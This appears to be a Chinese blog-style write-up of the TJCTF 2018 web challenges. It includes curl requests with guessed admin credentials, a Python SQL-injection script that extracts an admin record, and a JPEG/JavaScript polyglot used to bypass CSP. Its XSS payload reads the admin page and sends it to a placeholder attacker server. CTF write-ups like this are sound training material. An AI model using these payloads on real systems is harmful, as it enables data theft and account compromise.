闲的无聊,打了下最近的tjctf2018,这场比赛挺不错的,许多新颖的题目,题目难度分层恰当,有难有易,下面是这次的Web专栏writeup。
打开网页,查看源代码。
接着打开/static/main.js
,拉到底部,md5解码得到答案
查看源代码,发现提示
接着尝试改下get的url
https://programmable_hyperlinked_pasta.tjctf.org/?lang=en.php
https://programmable_hyperlinked_pasta.tjctf.org/?lang=ch.php
随便尝试。。看到很多**消息。。。
查看下源代码
去网站根目录瞧瞧,嘿嘿
当然。。。。。这样也是可以的
点点看咯,毕竟也没别的东西
随后你打开后,就会发现你做此题所需要了解的http请求方式+curl请求方式知识的链接:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS
其实就是下面这张图里面的内容:
这里有个http请求方式相关链接:
https://www.cnblogs.com/testcoffee/p/6295970.html
了解了这些,我们用curl试水下
题目url的请求方式都试了一遍,可以看到,POST
和DELETE
需要凭证
em~
凭证是什么鬼。。。后面继续试水,这里巨坑
原来所谓的凭证需要经过自己手工fuzz,一波踩坑,请求的data为:username=admin&password=admin
可以看到PUT有以下结果
$ curl -X PUT "https://request_me.tjctf.org/" --data username=admin&password=admin
I stole your credentials!
好的,告诉我们得到了凭证,那试试DELECT吧(这里试过get、post,但是没用)
得到flag
这里还有个坑点:请求方式需要按照以下命令依次输入执行,并且DELETE这条命令需要输入两遍才能得到flag(尝试无数遍的操作)
$ curl -X POST "https://request_me.tjctf.org/" --data username=admin&password=admin
$ curl -X PUT "https://request_me.tjctf.org/" --data username=admin&password=admin
$ curl -X DELETE "https://request_me.tjctf.org/" --data username=admin&password=admin -u admin:admin
打开网页,看到这个,跟原来那题很想。。。打开开发者工具,会发现随着网页往下托,控制台会出现许多网页
咯,就是这样,往下滑不见底的那种
查看其中任意一个html的源码
猜测应该是大量html中含有一个带有flag的html文件。。。那怎么办呢。总不能一直拉着鼠标往下拖吧。。。。百度,谷歌了下,其实。。。控制台写个命令就行
window.setInterval(function(){window.scrollByLines(10000)},1)
然后跑啊跑。。。。。。。1500多条才跑出来。。。
后面用ubuntu自带的火狐,跑了100多条请求就跑出来。。晕死。。这是为啥?
随意测试,用bp拦截下
提示This is what I got about you from the database: no such column: password
再看看响应的源代码
尝试
这里有检验@
,试试bp能不能绕过
提示还是:This is what I got about you from the database: no such column: password
尝试改改post的数据password
->passwd
提示:This is what I got about you from the database: no such column: passwd
到这里大概知道我们可以干啥了。。通过修改这个字段,让服务器查询出我们想得到的信息
根据上面的分析,或许使用python的request请求更加合适呢!
这里简单的sql测试,就基本可以大致的信息,题目所求用户admin的ip地址
#-*-coding:utf-8
import requests
url = 'https://ess-kyoo-ell.tjctf.org'
s=requests.Session()
data={
"email":"' or 1=1 #",
#"username or 1=1 --":""
"(username or 1=1) and username = 'admin' --":""
}
r=s.post(url,data=data)
print 'n'.join(r.text.split('n')[174:174+18]) #只查看174~174+18行的网页源代码
s.close()
得到运行结果
<p id="profile-name" class="profile-name-card">This is what I got about you from the database: {'id': 706, 'username': 'admin', 'first_name': 'Administrative', 'last_name': 'User', 'email': '[email protected]', 'gender': 'Female', 'ip_address': '145.3.1.213'}</p>
答案即是tjctf{145.3.1.213}
打开页面,有注册和登录,那就是注册再登录试试咯
注册了个账号,jianghuxia ,登录后发现自己的主页url是:https://stupid_blog.tjctf.org/jianghuxia
推测每个username
的页面是https://stupid_blog.tjctf.org/<username>
,那么先尝试下https://stupid_blog.tjctf.org/admin
,得到下图提示
仔细看看页面,发现有3个模块:Report a User、Update Profile Picture (png, jpg)、Save
感觉似曾相识em~流程大概是这么一个样,上传个人资料图片(JPEG / PNG),在个人“Posts”上设置帖子,最后提交给管理员,如果这样的话,考察的就是XSS咯
那么先测试一波上传,测试途中,发现了配置文件图像的固定URL是:https://stupid_blog.tjctf.org/<Username>/pfp
尝试过抓包冒充扩展名,但会发现因为是固定的路径,所以就算上传成功后,都是一张默认用户的图片,如果要进行其他的测试也是行不通的
尝试上传正常的图片,会发现正常显示,且访问路径https://stupid_blog.tjctf.org/<Username>/pfp
会跳转到刚刚的上传文件的下载
到此,大致能分析出后台具有挺严格的图片上传过滤规则,那么现在是能在图片数据域里做手脚了。。
再测试XSS的时候,几经测试,发现又具有严格的CSP规则。。。
em~那现在方向和思路都很明显了
通过XSS使用JPG或者png文件上传绕过CSP(Content-Security-Policy)
而关键的是,我们要把XSS的关键代码写入JPG中,绕过CSP
尝试了几波无果,没思路咯,网上搜了一番,嘿嘿,找到个跟这个好像的 :
https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
根据这篇文章分析,贼有意思,此文作者研究了JPG的文件格式,把脚本隐藏在了jpg图像中,orz…
首先,jpg文件格式的头部:
前4个字节是jpg文件头,随后2个字节,代表后面所填充的JPEG标头的长度
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00
接着,表示jpg数据域的开始的两个字节:0xFF
, 0xFE
,其后面紧跟两个代表数据域长度的字节
比如:FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
0xFF
,0xFE
代表数据域开始,0x00
,0x1C
代表后面数据的长度加上这两个字节的本身长度。0x001C化为十进制代表28个字节,也就是56位
最后,JPG的文件尾部2A 2F 2F 2F FF D9
0xFF
、0xD9
代表JPG文件尾部的最后2个字节,意味着JPG文件的结束.
如此,当把代码/=alert("Burp rocks.");/*
插入到一张jpg中,将是下面格式
接着回到题目先上传该文件,上传成功后,你可以访问https://stupid_blog.tjctf.org/<Username>/pfp
下载这时的pfp文件,验证是否跟上传的一样
可以发现一模一样,意味着成功往JPG中写入了代码,再看看能不能执行
Post填入
<script charset="ISO-8859-1" src="/jianghuxia/pfp"></script>
SAVE,就会弹出提示框
很好,我们成功了。那么接下来只需要简单改改上传图片中的代码,然后进行相同的操作,最后再进行一步“Report a User”就行。
现在需要写入的是:
*/=x=new XMLHttpRequest();x.open("GET","admin",false);x.send(null);document.location="http://<your severhost>/j"+x.responseText;/*
按照刚刚的填充JPG文件方法,计算长度
再加上前面2个代表长度的标识字节,264+2*2=268,268/2=134,再转16进制,为0x86。再加上JPG的文件头尾格式,得到下图
上传文件,并且上传完成后再SAVE一遍Posts
报告提交给admin
提交成功
然后坐等自己服务器日志收到的新信息
web已完毕,以上就是TJCTF web专题的writeup,感觉前面3题都是很简单的,第四题开始,难度步步提升,对于菜鸡(我)还是很爽的。。orz…